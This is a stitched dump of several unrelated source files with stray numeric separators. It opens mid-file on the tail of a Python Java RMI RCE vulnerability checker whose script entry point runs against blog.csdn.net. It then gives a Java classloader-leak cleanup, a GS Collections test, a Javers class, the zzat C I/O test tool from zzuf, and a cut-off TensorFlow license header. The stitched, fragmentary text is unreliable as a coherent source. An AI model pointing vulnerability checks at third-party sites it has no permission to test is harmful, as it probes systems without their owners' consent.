print('不存在Java RMI rce漏洞')
return True
except Exception as e:
print(e)
print('不存在Java RMI rce漏洞')
return False
finally:
pass
if __name__ == "__main__":
Javarmi_Rce = Javarmi_Rce_BaseVerify('https://blog.csdn.net')
Javarmi_Rce.check() | 9,195 |
307 | package se.jiderhamn.classloader.leak.prevention.cleanup;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ConcurrentModificationException;
import java.util.Map;
import se.jiderhamn.classloader.leak.prevention.ClassLoaderLeakPreventor;
import se.jiderhamn.classloader.leak.prevention.ClassLoaderPreMortemCleanUp;
/**
* Cleanup for leak caused by EclipseLink MOXy
* See https://bugs.eclipse.org/bugs/show_bug.cgi?id=529270
* @author <NAME>
*/
public class MoxyCleanUp implements ClassLoaderPreMortemCleanUp {
@Override
public void cleanUp(ClassLoaderLeakPreventor preventor) {
final Class<?> helperClass = findClass(preventor, "org.eclipse.persistence.jaxb.javamodel.Helper");
if(helperClass != null) {
unsetField(preventor, helperClass, "COLLECTION_CLASS");
unsetField(preventor, helperClass, "LIST_CLASS");
unsetField(preventor, helperClass, "SET_CLASS");
unsetField(preventor, helperClass, "MAP_CLASS");
unsetField(preventor, helperClass, "JAXBELEMENT_CLASS");
unsetField(preventor, helperClass, "OBJECT_CLASS");
}
final Class<?> propertyClass = findClass(preventor, "org.eclipse.persistence.jaxb.compiler.Property");
if(propertyClass != null) {
unsetField(preventor, propertyClass, "OBJECT_CLASS");
unsetField(preventor, propertyClass, "XML_ADAPTER_CLASS");
}
}
public Class<?> findClass(ClassLoaderLeakPreventor preventor, String className) {
try {
return Class.forName(className, true, preventor.getLeakSafeClassLoader());
}
catch (ClassNotFoundException e) {
// Silently ignore
return null;
}
catch (Exception ex) { // Example SecurityException
preventor.warn(ex);
return null;
}
}
private void unsetField(ClassLoaderLeakPreventor preventor,
Class<?> clazz, String fieldName) {
final Field field = preventor.findField(clazz, fieldName);
if(field != null) {
try {
final Object /* org.eclipse.persistence.jaxb.javamodel.reflection.JavaClassImpl */ javaClass = field.get(null);
if(javaClass != null) {
final Object /* org.eclipse.persistence.jaxb.javamodel.reflection.JavaModelImpl */ javaModelImpl =
preventor.getFieldValue(javaClass, "javaModelImpl");
if(javaModelImpl != null) {
final Method getClassLoader = preventor.findMethod(javaModelImpl.getClass(), "getClassLoader");
if(getClassLoader != null) {
final ClassLoader classLoader = (ClassLoader) getClassLoader.invoke(javaModelImpl);
if(preventor.isClassLoaderOrChild(classLoader)) {
preventor.info("Changing ClassLoader of " + field);
preventor.findMethod(javaModelImpl.getClass(), "setClassLoader", ClassLoader.class)
.invoke(javaModelImpl, preventor.getLeakSafeClassLoader());
final Field isJaxbClassLoader = preventor.findField(javaModelImpl.getClass(), "isJaxbClassLoader");
if(isJaxbClassLoader != null) {
isJaxbClassLoader.set(javaModelImpl, false);
}
}
}
else
preventor.error("Cannot get ClassLoader of " + javaModelImpl);
// Clear cachedJavaClasses
final Map cachedJavaClasses = preventor.getFieldValue(javaModelImpl, "cachedJavaClasses");
if(cachedJavaClasses != null) {
try {
cachedJavaClasses.clear();
}
catch (ConcurrentModificationException e) {
preventor.error("Unable to clear " + javaModelImpl + ".cachedJavaClasses");
}
}
}
else {
preventor.error("Cannot get javaModelImpl of " + javaClass);
field.set(null, null);
}
}
}
catch (Exception e) {
preventor.warn(e);
}
}
else
preventor.warn("Unable to find field " + fieldName + " of class " + clazz);
}
} | 1,731 |
1,204 | /*
* Copyright 2014 <NAME>.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.gs.collections.impl.lazy.iterator;
import java.util.Iterator;
import java.util.NoSuchElementException;
import com.gs.collections.api.list.MutableList;
import com.gs.collections.impl.factory.Lists;
import com.gs.collections.impl.list.mutable.FastList;
import com.gs.collections.impl.test.Verify;
import org.junit.Assert;
import org.junit.Test;
public class SelectInstancesOfIteratorTest
{
@Test
public void iterator()
{
MutableList<Number> list = FastList.<Number>newListWith(null, 1, 2.0, null, 3, 4.0, 5, null);
this.assertElements(new SelectInstancesOfIterator<>(list.iterator(), Integer.class));
this.assertElements(new SelectInstancesOfIterator<>(list, Integer.class));
}
private void assertElements(Iterator<Integer> iterator)
{
MutableList<Integer> result = FastList.newList();
while (iterator.hasNext())
{
result.add(iterator.next());
}
Assert.assertEquals(FastList.newListWith(1, 3, 5), result);
}
@Test
public void noSuchElementException()
{
Verify.assertThrows(NoSuchElementException.class, () -> new SelectInstancesOfIterator<>(Lists.fixedSize.of(), Object.class).next());
}
@Test
public void remove()
{
Verify.assertThrows(UnsupportedOperationException.class, () -> new SelectInstancesOfIterator<>(Lists.fixedSize.of(), Object.class).remove());
}
}
| 692 |
887 | <reponame>lucas-prestes/javers<filename>javers-core/src/main/java/org/javers/core/metamodel/scanner/ClassAnnotationsScan.java
package org.javers.core.metamodel.scanner;
import java.util.Optional;
/**
* @author bartosz.walacik
*/
class ClassAnnotationsScan {
private final TypeFromAnnotation typeFromAnnotation;
private final boolean hasIgnoreDeclaredProperties;
private final Optional<String> typeName;
ClassAnnotationsScan(TypeFromAnnotation typeFromAnnotation,
boolean hasIgnoreDeclaredProperties,
Optional<String> typeName) {
this.typeFromAnnotation = typeFromAnnotation;
this.typeName = typeName;
this.hasIgnoreDeclaredProperties = hasIgnoreDeclaredProperties;
}
public boolean isValue() {
return typeFromAnnotation.isValue();
}
public boolean isValueObject() {
return typeFromAnnotation.isValueObject();
}
public boolean isEntity() {
return typeFromAnnotation.isEntity();
}
public boolean isShallowReference() {
return typeFromAnnotation.isShallowReference();
}
public boolean isIgnored() {
return typeFromAnnotation.isIgnored();
}
public Optional<String> typeName() {
return typeName;
}
public boolean hasIgnoreDeclaredProperties() {
return hasIgnoreDeclaredProperties;
}
}
| 532 |
415 | <reponame>Quipyowert2/zzuf
/*
* zzat - various cat reimplementations for testing purposes
*
* Copyright © 2002—2015 <NAME> <<EMAIL>>
*
* This program is free software. It comes without any warranty, to
* the extent permitted by applicable law. You can redistribute it
* and/or modify it under the terms of the Do What the Fuck You Want
* to Public License, Version 2, as published by the WTFPL Task Force.
* See http://www.wtfpl.net/ for more details.
*/
/*
* TODO: fsetpos64, fgetln
*/
#include "config.h"
/* Needed for lseek64() */
#define _LARGEFILE64_SOURCE
/* Needed for O_RDONLY on HP-UX */
#define _INCLUDE_POSIX_SOURCE
/* Needed for fgets_unlocked() */
#define _GNU_SOURCE
/* Needed for getc_unlocked() on OpenSolaris */
#define __EXTENSIONS__
#if defined _MSC_VER
# include <io.h>
typedef int ssize_t;
# define close _close
#endif
#if defined HAVE_STDINT_H
# include <stdint.h>
#elif defined HAVE_INTTYPES_H
# include <inttypes.h>
#endif
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#if defined HAVE_UNISTD_H
# include <unistd.h>
#endif
#if defined HAVE_SYS_MMAN_H
# include <sys/mman.h>
#endif
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "util/getopt.h"
static int run(char const *sequence, char const *file);
static void output(char const *buf, size_t len);
static void syntax(void);
static void version(void);
static void usage(void);
/* Global parameters */
static int g_debug = 0;
static int g_repeat = 1;
static char g_escape_tabs = 0;
static char g_escape_ends = 0;
static char g_escape_other = 0;
static char g_number_lines = 0;
static char g_number_nonblank = 0;
static char g_squeeze_lines = 0;
/* Global output state */
static int g_ncrs = 0;
static int g_line = 1;
static char g_newline = 1;
/*
* Main program.
*/
int main(int argc, char *argv[])
{
char const *sequence = "repeat(-1, fread(1,32768), feof(1))";
for (;;)
{
#define OPTSTR "+AbdeEnr:stTvx:lhV"
#define MOREINFO "Try `%s --help' for more information.\n"
int option_index = 0;
static zzuf_option_t long_options[] =
{
{ "show-all", 0, NULL, 'A' },
{ "number-nonblank", 0, NULL, 'b' },
{ "debug", 0, NULL, 'd' },
{ "show-ends", 0, NULL, 'E' },
{ "number", 0, NULL, 'n' },
{ "repeat", 1, NULL, 'r' },
{ "squeeze-blank", 0, NULL, 's' },
{ "show-tabs", 0, NULL, 'T' },
{ "show-nonprinting", 0, NULL, 'v' },
{ "execute", 1, NULL, 'x' },
{ "list", 0, NULL, 'l' },
{ "help", 0, NULL, 'h' },
{ "version", 0, NULL, 'V' },
{ NULL, 0, NULL, 0 }
};
int c = zz_getopt(argc, argv, OPTSTR, long_options, &option_index);
if (c == -1)
break;
switch (c)
{
case 'A': /* --show-all */
g_escape_tabs = g_escape_ends = g_escape_other = 1;
break;
case 'b': /* --number-nonblank */
g_number_nonblank = 1;
break;
case 'd': /* --debug */
g_debug = 1;
break;
case 'e':
g_escape_ends = g_escape_other = 1;
break;
case 'E': /* --show-ends */
g_escape_ends = 1;
break;
case 'n': /* --number */
g_number_lines = 1;
break;
case 'r': /* --repeat */
g_repeat = atoi(zz_optarg);
break;
case 's': /* --squeeze-blank */
g_squeeze_lines = 1;
break;
case 't':
g_escape_tabs = g_escape_other = 1;
break;
case 'T': /* --show-tabs */
g_escape_tabs = 1;
break;
case 'v': /* --show-nonprinting */
g_escape_tabs = 1;
break;
case 'x': /* --execute */
if (zz_optarg[0] == '=')
zz_optarg++;
sequence = zz_optarg;
break;
case 'l': /* --list */
syntax();
return 0;
case 'h': /* --help */
usage();
return 0;
case 'V': /* --version */
version();
return 0;
default:
fprintf(stderr, "%s: invalid option -- %c\n", argv[0], c);
printf(MOREINFO, argv[0]);
return EXIT_FAILURE;
}
}
if (zz_optind >= argc)
{
fprintf(stderr, "E: zzat: too few arguments\n");
return EXIT_FAILURE;
}
while (g_repeat-- > 0)
for (int i = zz_optind; i < argc; ++i)
{
int ret = run(sequence, argv[i]);
if (ret)
return ret;
}
return EXIT_SUCCESS;
}
/*
* File output method.
*/
static void output(char const *buf, size_t len)
{
/* If no special features are requested, output directly */
if (!(g_escape_tabs || g_escape_ends || g_escape_other
|| g_number_lines || g_number_nonblank || g_squeeze_lines))
{
fwrite(buf, len, 1, stdout);
return;
}
/* If any special feature is active, go through every possibility */
for (size_t i = 0; i < len; ++i)
{
int ch = (unsigned int)(unsigned char)buf[i];
if (g_squeeze_lines)
{
if (ch == '\n')
{
if (++g_ncrs > 2)
continue;
}
else
g_ncrs = 0;
}
if (g_number_lines || g_number_nonblank)
{
if (g_newline)
{
g_newline = 0;
if (!g_number_nonblank || ch != '\n')
fprintf(stdout, "% 6i\t", g_line++);
}
if (ch == '\n')
g_newline = 1;
}
if (g_escape_other && ch >= 0x80)
{
if (ch - 0x80 < 0x20 || ch - 0x80 == 0x7f)
fprintf(stdout, "M-^%c", (ch - 0x80) ^ 0x40);
else
fprintf(stdout, "M-%c", ch - 0x80);
}
else if (g_escape_tabs && ch == '\t')
fprintf(stdout, "^I");
else if (g_escape_ends && ch == '\n')
puts("$");
else if (g_escape_other && (ch < 0x20 || ch == 0x7f))
fprintf(stdout, "^%c", ch ^ 0x40);
else
putchar(ch);
}
}
/*
* Command intepreter
*/
#define MY_FOPEN(cmd) \
do { \
cmd; \
if (!f) \
{ \
fprintf(stderr, "E: zzat: cannot open `%s'\n", file); \
return EXIT_FAILURE; \
} \
retoff = 0; \
sequence = strchr(sequence, ')') + 1; \
} while (0)
#define MY_FCLOSE(cmd) \
do { \
cmd; \
f = NULL; \
sequence = strchr(sequence, ')') + 1; \
} while (0)
#define ROUNDUP(size) (((size) + 0x1000) & ~0xfff)
#define MERGE(address, cnt, off) \
do { \
size_t _cnt = cnt, _off = off; \
if (_cnt && retoff + _cnt > retlen) \
{ \
retlen = retoff + _cnt; \
if (!retbuf || ROUNDUP(retlen) != ROUNDUP(retlen - _cnt)) \
{ \
if (g_debug) \
fprintf(stderr, "D: zzat: allocating %i bytes for %i\n", \
(int)ROUNDUP(retlen), (int)retlen); \
retbuf = realloc(retbuf, ROUNDUP(retlen)); \
} \
} \
if (_cnt > 0) \
{ \
if (g_debug) \
fprintf(stderr, "D: zzat: writing %i byte%s at offset %i\n", \
(int)_cnt, _cnt == 1 ? "" : "s", (int)retoff); \
memcpy(retbuf + retoff, address, _cnt); \
} \
retoff += _off; \
} while (0)
#define MY_FREAD(cmd, buf, cnt) MY_FCALL(cmd, buf, cnt, cnt)
#define MY_FSEEK(cmd, off) MY_FCALL(cmd, /* unused */ "", 0, off)
#define MY_FCALL(cmd, buf, cnt, off) \
do { \
if (!f) \
{ \
f = fopen(file, "r"); \
if (!f) \
{ \
fprintf(stderr, "E: zzat: cannot open `%s'\n", file); \
return EXIT_FAILURE; \
} \
} \
/* fprintf(stderr, "debug: %s\n", #cmd); */ \
cmd; \
MERGE(buf, cnt, off); \
sequence = strchr(sequence, ')') + 1; \
} while (0)
#define MY_FEOF() \
do { \
if (!f) \
{ \
f = fopen(file, "r"); \
if (!f) \
{ \
fprintf(stderr, "E: zzat: cannot open `%s'\n", file); \
return EXIT_FAILURE; \
} \
} \
if (feof(f)) \
feofs++; \
if (feofs >= l1) \
finish = 1; \
sequence = strchr(sequence, ')') + 1; \
} while (0)
/*
* Command parser. We rewrite fmt by replacing the last character with
* '%c' and check that the sscanf() call returns the expected number of
* matches plus one (for the last character). We use this macro trick to
* avoid using vsscanf() which does not exist on all platforms.
*/
struct parser
{
char tmpfmt[1024], ch, lastch;
};
static int make_fmt(struct parser *p, char const *fmt, int *nitems)
{
int ret = 0;
size_t len = strlen(fmt);
p->lastch = fmt[len - 1];
memcpy(p->tmpfmt, fmt, len - 1);
p->tmpfmt[len - 1] = '%';
p->tmpfmt[len] = 'c';
p->tmpfmt[len + 1] = '\0';
for (char const *tmp = p->tmpfmt; *tmp; ++tmp)
if (*tmp == '%')
++tmp, ++ret;
*nitems = ret;
return 1;
}
#define PARSECMD(fmt, ...) \
(make_fmt(&parser, fmt, &nitems) \
&& nitems == sscanf(sequence, parser.tmpfmt, \
##__VA_ARGS__, &parser.ch) \
&& parser.ch == parser.lastch)
/*
* File reader. We parse a command line and perform all the operations it
* contains on the specified file.
*/
static int run(char const *sequence, char const *file)
{
struct { char const *p; int count; } loops[128];
char *retbuf = NULL, *tmp;
FILE *f = NULL;
size_t retlen = 0, retoff = 0;
int nitems, nloops = 0, fd = -1, feofs = 0, finish = 0;
/* Initialise per-file state */
/* TODO */
/* Allocate 32MB for our temporary buffer. Any larger value will crash. */
tmp = malloc(32 * 1024 * 1024);
while (*sequence)
{
struct parser parser;
long int l1, l2;
char *s, *lineptr = NULL;
size_t k;
ssize_t l;
int n;
char ch;
(void)k;
/* Ignore punctuation */
if (strchr(" \t,;\r\n", *sequence))
++sequence;
/* Loop handling */
else if (PARSECMD("repeat ( %li ,", &l1))
{
sequence = strchr(sequence, ',') + 1;
loops[nloops].p = sequence;
loops[nloops].count = l1;
++nloops;
}
else if (PARSECMD(")"))
{
if (nloops == 0)
{
fprintf(stderr, "E: zzat: ')' outside a loop\n");
free(tmp);
return EXIT_FAILURE;
}
if (loops[nloops - 1].count == 1 || finish)
{
nloops--;
sequence = strchr(sequence, ')') + 1;
}
else
{
loops[nloops - 1].count--;
sequence = loops[nloops - 1].p;
}
finish = 0;
}
/* FILE * opening functions */
else if (PARSECMD("fopen ( )"))
MY_FOPEN(f = fopen(file, "r"));
#if defined HAVE_FOPEN64
else if (PARSECMD("fopen64 ( )"))
MY_FOPEN(f = fopen64(file, "r"));
#endif
#if defined HAVE___FOPEN64
else if (PARSECMD("__fopen64 ( )"))
MY_FOPEN(f = __fopen64(file, "r"));
#endif
else if (PARSECMD("freopen ( )"))
MY_FOPEN(f = freopen(file, "r", f));
#if defined HAVE_FREOPEN64
else if (PARSECMD("freopen64 ( )"))
MY_FOPEN(f = freopen64(file, "r", f));
#endif
#if defined HAVE___FREOPEN64
else if (PARSECMD("__freopen64 ( )"))
MY_FOPEN(f = __freopen64(file, "r", f));
#endif
/* FILE * EOF detection */
else if (PARSECMD("feof ( %li )", &l1))
MY_FEOF();
/* FILE * closing functions */
else if (PARSECMD("fclose ( )"))
MY_FCLOSE(fclose(f));
/* FILE * reading functions */
else if (PARSECMD("fread ( %li , %li )", &l1, &l2))
MY_FREAD(l = (ssize_t)fread(tmp, l1, l2, f), tmp, l > 0 ? l * l1 : 0);
else if (PARSECMD("getc ( )"))
MY_FREAD(ch = (n = getc(f)), &ch, (n != EOF));
else if (PARSECMD("fgetc ( )"))
MY_FREAD(ch = (n = fgetc(f)), &ch, (n != EOF));
else if (PARSECMD("fgets ( %li )", &l1))
MY_FREAD(s = fgets(tmp, l1, f), tmp, s ? strlen(tmp) : 0);
#if defined HAVE___FGETS_CHK
else if (PARSECMD("__fgets_chk ( %li )", &l1))
MY_FREAD(s = __fgets_chk(tmp, l1, l1, f), tmp, s ? strlen(tmp) : 0);
#endif
#if defined HAVE__IO_GETC
else if (PARSECMD("_IO_getc ( )"))
MY_FREAD(ch = (n = _IO_getc(f)), &ch, (n != EOF));
#endif
#if defined HAVE___FREAD_CHK
else if (PARSECMD("__fread_chk ( %li , %li )", &l1, &l2))
MY_FREAD(l = __fread_chk(tmp, l1 * l2, l1, l2, f), tmp, l > 0 ? l * l1 : 0);
#endif
#if defined HAVE_FREAD_UNLOCKED
else if (PARSECMD("fread_unlocked ( %li , %li )", &l1, &l2))
MY_FREAD(l = fread_unlocked(tmp, l1, l2, f), tmp, l > 0 ? l * l1 : 0);
#endif
#if defined HAVE___FREAD_UNLOCKED_CHK
else if (PARSECMD("__fread_unlocked_chk ( %li , %li )", &l1, &l2))
MY_FREAD(l = __fread_unlocked_chk(tmp, l1 * l2, l1, l2, f), tmp, l > 0 ? l * l1 : 0);
#endif
#if defined HAVE_FGETS_UNLOCKED
else if (PARSECMD("fgets_unlocked ( %li )", &l1))
MY_FREAD(s = fgets_unlocked(tmp, l1, f), tmp, s ? strlen(tmp) : 0);
#endif
#if defined HAVE___FGETS_UNLOCKED_CHK
else if (PARSECMD("__fgets_unlocked_chk ( %li )", &l1))
MY_FREAD(s = __fgets_unlocked_chk(tmp, l1, l1, f), tmp, s ? strlen(tmp) : 0);
#endif
#if defined HAVE_GETC_UNLOCKED
else if (PARSECMD("getc_unlocked ( )"))
MY_FREAD(ch = (n = getc_unlocked(f)), &ch, (n != EOF));
#endif
#if defined HAVE_FGETC_UNLOCKED
else if (PARSECMD("fgetc_unlocked ( )"))
MY_FREAD(ch = (n = fgetc_unlocked(f)), &ch, (n != EOF));
#endif
/* FILE * getdelim functions */
#if defined HAVE_GETLINE
else if (PARSECMD("getline ( )"))
MY_FREAD(l = getline(&lineptr, &k, f), lineptr, l >= 0 ? l : 0);
#endif
#if defined HAVE_GETDELIM
else if (PARSECMD("getdelim ( '%c' )", &ch))
MY_FREAD(l = getdelim(&lineptr, &k, ch, f), lineptr, l >= 0 ? l : 0);
else if (PARSECMD("getdelim ( %i )", &n))
MY_FREAD(l = getdelim(&lineptr, &k, n, f), lineptr, l >= 0 ? l : 0);
#endif
#if defined HAVE___GETDELIM
else if (PARSECMD("__getdelim ( '%c' )", &ch))
MY_FREAD(l = __getdelim(&lineptr, &k, ch, f), lineptr, l >= 0 ? l : 0);
else if (PARSECMD("__getdelim ( %i )", &n))
MY_FREAD(l = __getdelim(&lineptr, &k, n, f), lineptr, l >= 0 ? l : 0);
#endif
/* FILE * seeking functions */
else if (PARSECMD("fseek ( %li , SEEK_CUR )", &l1))
MY_FSEEK(l = fseek(f, l1, SEEK_CUR),
ftell(f) >= 0 ? ftell(f) - retoff : 0);
else if (PARSECMD("fseek ( %li , SEEK_SET )", &l1))
MY_FSEEK(l = fseek(f, l1, SEEK_SET),
ftell(f) >= 0 ? ftell(f) - retoff : 0);
else if (PARSECMD("fseek ( %li , SEEK_END )", &l1))
MY_FSEEK(l = fseek(f, l1, SEEK_END),
ftell(f) >= 0 ? ftell(f) - retoff : 0);
#if defined HAVE_FSEEKO
else if (PARSECMD("fseeko ( %li , SEEK_CUR )", &l1))
MY_FSEEK(l = fseeko(f, l1, SEEK_CUR),
ftell(f) >= 0 ? ftell(f) - retoff : 0);
else if (PARSECMD("fseeko ( %li , SEEK_SET )", &l1))
MY_FSEEK(l = fseeko(f, l1, SEEK_SET),
ftell(f) >= 0 ? ftell(f) - retoff : 0);
else if (PARSECMD("fseeko ( %li , SEEK_END )", &l1))
MY_FSEEK(l = fseeko(f, l1, SEEK_END),
ftell(f) >= 0 ? ftell(f) - retoff : 0);
#endif
#if defined HAVE_FSEEKO64
else if (PARSECMD("fseeko64 ( %li , SEEK_CUR )", &l1))
MY_FSEEK(l = fseeko64(f, l1, SEEK_CUR),
ftell(f) >= 0 ? ftell(f) - retoff : 0);
else if (PARSECMD("fseeko64 ( %li , SEEK_SET )", &l1))
MY_FSEEK(l = fseeko64(f, l1, SEEK_SET),
ftell(f) >= 0 ? ftell(f) - retoff : 0);
else if (PARSECMD("fseeko64 ( %li , SEEK_END )", &l1))
MY_FSEEK(l = fseeko64(f, l1, SEEK_END),
ftell(f) >= 0 ? ftell(f) - retoff : 0);
#endif
#if defined HAVE___FSEEKO64
else if (PARSECMD("__fseeko64 ( %li , SEEK_CUR )", &l1))
MY_FSEEK(l = __fseeko64(f, l1, SEEK_CUR),
ftell(f) >= 0 ? ftell(f) - retoff : 0);
else if (PARSECMD("__fseeko64 ( %li , SEEK_SET )", &l1))
MY_FSEEK(l = __fseeko64(f, l1, SEEK_SET),
ftell(f) >= 0 ? ftell(f) - retoff : 0);
else if (PARSECMD("__fseeko64 ( %li , SEEK_END )", &l1))
MY_FSEEK(l = __fseeko64(f, l1, SEEK_END),
ftell(f) >= 0 ? ftell(f) - retoff : 0);
#endif
else if (PARSECMD("rewind ( )"))
MY_FSEEK(rewind(f), -(int)retlen);
else if (PARSECMD("ungetc ( )"))
MY_FSEEK(if (retoff) ungetc((unsigned char)retbuf[retoff - 1], f),
retoff ? -1 : 0);
/* Unrecognised sequence */
else
{
char buf[16];
snprintf(buf, 16, strlen(sequence) < 16 ? "%s" : "%.12s...",
sequence);
fprintf(stderr, "E: zzat: syntax error near `%s'\n", buf);
return EXIT_FAILURE;
}
/* Clean up our mess */
if (lineptr)
free(lineptr);
if (finish && !nloops)
break;
}
if (f)
fclose(f);
if (fd >= 0)
close(fd);
output(retbuf, retlen);
free(retbuf);
free(tmp);
return EXIT_SUCCESS;
}
#if 0
/* Only read() calls */
static int zzat_read(char const *name, unsigned char *data, int64_t len,
int64_t chunk)
{
int i, fd = open(name, O_RDONLY);
if (fd < 0)
return EXIT_FAILURE;
for (i = 0; i < len; i += chunk)
read(fd, data + i, chunk);
close(fd);
return EXIT_SUCCESS;
}
/* Socket seeks and reads */
static int zzat_random_socket(char const *name, unsigned char *data,
int64_t len)
{
int fd = open(name, O_RDONLY);
if (fd < 0)
return EXIT_FAILURE;
for (int i = 0; i < 128; ++i)
{
lseek(fd, myrand() % len, SEEK_SET);
for (int j = 0; j < 4; ++j)
read(fd, data + lseek(fd, 0, SEEK_CUR), myrand() % 4096);
#ifdef HAVE_LSEEK64
lseek64(fd, myrand() % len, SEEK_SET);
for (int j = 0; j < 4; ++j)
read(fd, data + lseek(fd, 0, SEEK_CUR), myrand() % 4096);
#endif
}
close(fd);
return EXIT_SUCCESS;
}
/* Standard stream seeks and reads */
static int zzat_random_stream(char const *name, unsigned char *data,
int64_t len)
{
FILE *stream = fopen(name, "r");
if (!stream)
return EXIT_FAILURE;
for (int i = 0; i < 128; ++i)
{
long int now;
fseek(stream, myrand() % len, SEEK_SET);
for (int j = 0; j < 4; ++j)
fread(data + ftell(stream),
myrand() % (len - ftell(stream)), 1, stream);
fseek(stream, myrand() % len, SEEK_SET);
now = ftell(stream);
for (int j = 0; j < 16; ++j)
data[now + j] = getc(stream);
now = ftell(stream);
for (int j = 0; j < 16; ++j)
data[now + j] = fgetc(stream);
}
fclose(stream);
return EXIT_SUCCESS;
}
#ifdef HAVE_MMAP
/* mmap() followed by random memory reads */
static int zzat_random_mmap(char const *name, unsigned char *data,
int64_t len)
{
int fd = open(name, O_RDONLY);
if (fd < 0)
return EXIT_FAILURE;
for (int i = 0; i < 128; ++i)
{
char *map;
int moff, mlen, pgsz = len + 1;
#ifdef HAVE_GETPAGESIZE
pgsz = getpagesize();
#endif
moff = len < pgsz ? 0 : (myrand() % (len / pgsz)) * pgsz;
mlen = 1 + (myrand() % (len - moff));
map = mmap(NULL, mlen, PROT_READ, MAP_PRIVATE, fd, moff);
if (map == MAP_FAILED)
return EXIT_FAILURE;
for (int j = 0; j < 128; ++j)
{
int x = myrand() % mlen;
data[moff + x] = map[x];
}
munmap(map, mlen);
}
close(fd);
return EXIT_SUCCESS;
}
#endif
#endif
static char const *keyword_list[] =
{
"repeat", "(<int>,<sequence>)", "loop <int> times through <sequence>",
"feof", "(<int>)", "break out of loop or sequence after <int> EOFs",
NULL
};
static char const *function_list[] =
{
"fopen", "()", "open file",
#if defined HAVE_FOPEN64
"fopen64", "()", "same as fopen()",
#endif
#if defined HAVE___FOPEN64
"__fopen64", "()", "same as fopen()",
#endif
"freopen", "()", "reopen file",
#if defined HAVE_FREOPEN64
"freopen64", "()", "same as reopen()",
#endif
#if defined HAVE___FREOPEN64
"__freopen64", "()", "same as reopen()",
#endif
"fclose", "()", "close file",
"fread", "(<inta>,<intb>)", "read <intb> chunks of <inta> bytes",
"getc", "()", "get one character (can be a macro)",
"fgetc", "()", "get one character",
"fgets", "(<int>)", "read one line no longer than <int> bytes",
#if defined HAVE___FGETS_CHK
"__fgets_chk", "(<int>)", "same as fgets(), fortified version",
#endif
#if defined HAVE__IO_GETC
"_IO_getc", "()", "get one character",
#endif
#if defined HAVE___FREAD_CHK
"__fread_chk", "(<inta>,<intb>)", "same as fread(), fortified version",
#endif
#if defined HAVE_FREAD_UNLOCKED
"fread_unlocked", "(<inta>,<intb>)", "same as fread(), unlocked I/O version",
#endif
#if defined HAVE___FREAD_UNLOCKED_CHK
"__fread_unlocked_chk", "(<inta>,<intb>)", "same as fread_unlocked(), fortified version",
#endif
#if defined HAVE_FGETS_UNLOCKED
"fgets_unlocked", "(<int>)", "same as fgets(), unlocked I/O version",
#endif
#if defined HAVE___FGETS__UNLOCKED_CHK
"__fgets_unlocked_chk", "(<int>)", "same as fgets_unlocked(), fortified version",
#endif
#if defined HAVE_GETC_UNLOCKED
"getc_unlocked", "()", "same as getc(), unlocked I/O version",
#endif
#if defined HAVE_FGETC_UNLOCKED
"fgetc_unlocked", "()", "same as fgetc(), unlocked I/O version",
#endif
#if defined HAVE_GETLINE
"getline", "()", "read one complete line of text",
#endif
#if defined HAVE_GETDELIM
"getdelim", "('<char>')", "read all data until delimiter character <char>",
"getdelim", "(<int>)", "read all data until delimiter character <int>",
#endif
#if defined HAVE___GETDELIM
"__getdelim", "('<char>')", "same as getdelim()",
"__getdelim", "(<int>)", "same as getdelim()",
#endif
"fseek", "(<int>,<whence>)", "seek using SEEK_CUR, SEEK_SET or SEEK_END",
#if defined HAVE_FSEEKO
"fseeko", "(<int>,<whence>)", "same as fseek()",
#endif
#if defined HAVE_FSEEKO64
"fseeko64", "(<int>,<whence>)", "same as fseek()",
#endif
#if defined HAVE___FSEEKO64
"__fseeko64", "(<int>,<whence>)", "same as fseek()",
#endif
"rewind", "()", "rewind to the beginning of the stream",
"ungetc", "()", "put one byte back in the stream",
NULL
};
static void print_list(char const **list)
{
static char const spaces[] = " ";
while (*list)
{
size_t len = printf(" %s%s", list[0], list[1]);
if (len < strlen(spaces))
printf("%s", spaces + len);
printf("%s\n", list[2]);
list += 3;
}
}
static void syntax(void)
{
printf("Available control keywords:\n");
print_list(keyword_list);
printf("\n");
printf("Available functions:\n");
print_list(function_list);
}
static void version(void)
{
printf("zzat %s\n", PACKAGE_VERSION);
printf("Copyright © 2002—2015 <NAME> <<EMAIL>>\n");
printf("This program is free software. It comes without any warranty, to the extent\n");
printf("permitted by applicable law. You can redistribute it and/or modify it under\n");
printf("the terms of the Do What the Fuck You Want to Public License, Version 2, as\n");
printf("published by the WTFPL Task Force. See http://www.wtfpl.net/ for more details.\n");
printf("\n");
printf("Written by <NAME>. Report bugs to <<EMAIL>>.\n");
}
static void usage(void)
{
printf("Usage: zzat [AbdeEntTv] [-x sequence] [FILE...]\n");
printf(" zzat -l | --list\n");
printf(" zzat -h | --help\n");
printf(" zzat -V | --version\n");
printf("Read FILE using a sequence of various I/O methods.\n");
printf("\n");
printf("Mandatory arguments to long options are mandatory for short options too.\n");
printf(" -A, --show-all equivalent to -vET\n");
printf(" -b, --number-nonblank number nonempty output lines\n");
printf(" -d, --debug print debugging information\n");
printf(" -e equivalent to -vE\n");
printf(" -E, --show-ends display $ at end of each line\n");
printf(" -n, --number number all output lines\n");
printf(" -r, --repeat=<loops> concatenate command line files <loops> times\n");
printf(" -t equivalent to -vT\n");
printf(" -T, --show-tabs display TAB characters as ^I\n");
printf(" -v, --show-nonprinting use ^ and M- notation, except for LFD and TAB\n");
printf(" -x, --execute=<sequence> execute commands in <sequence>\n");
printf(" -l, --list list available program functions\n");
printf(" -h, --help display this help and exit\n");
printf(" -V, --version output version information and exit\n");
printf("\n");
printf("Written by <NAME>. Report bugs to <<EMAIL>>.\n");
}
| 13,661 |
388 | # Copyright 2021 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
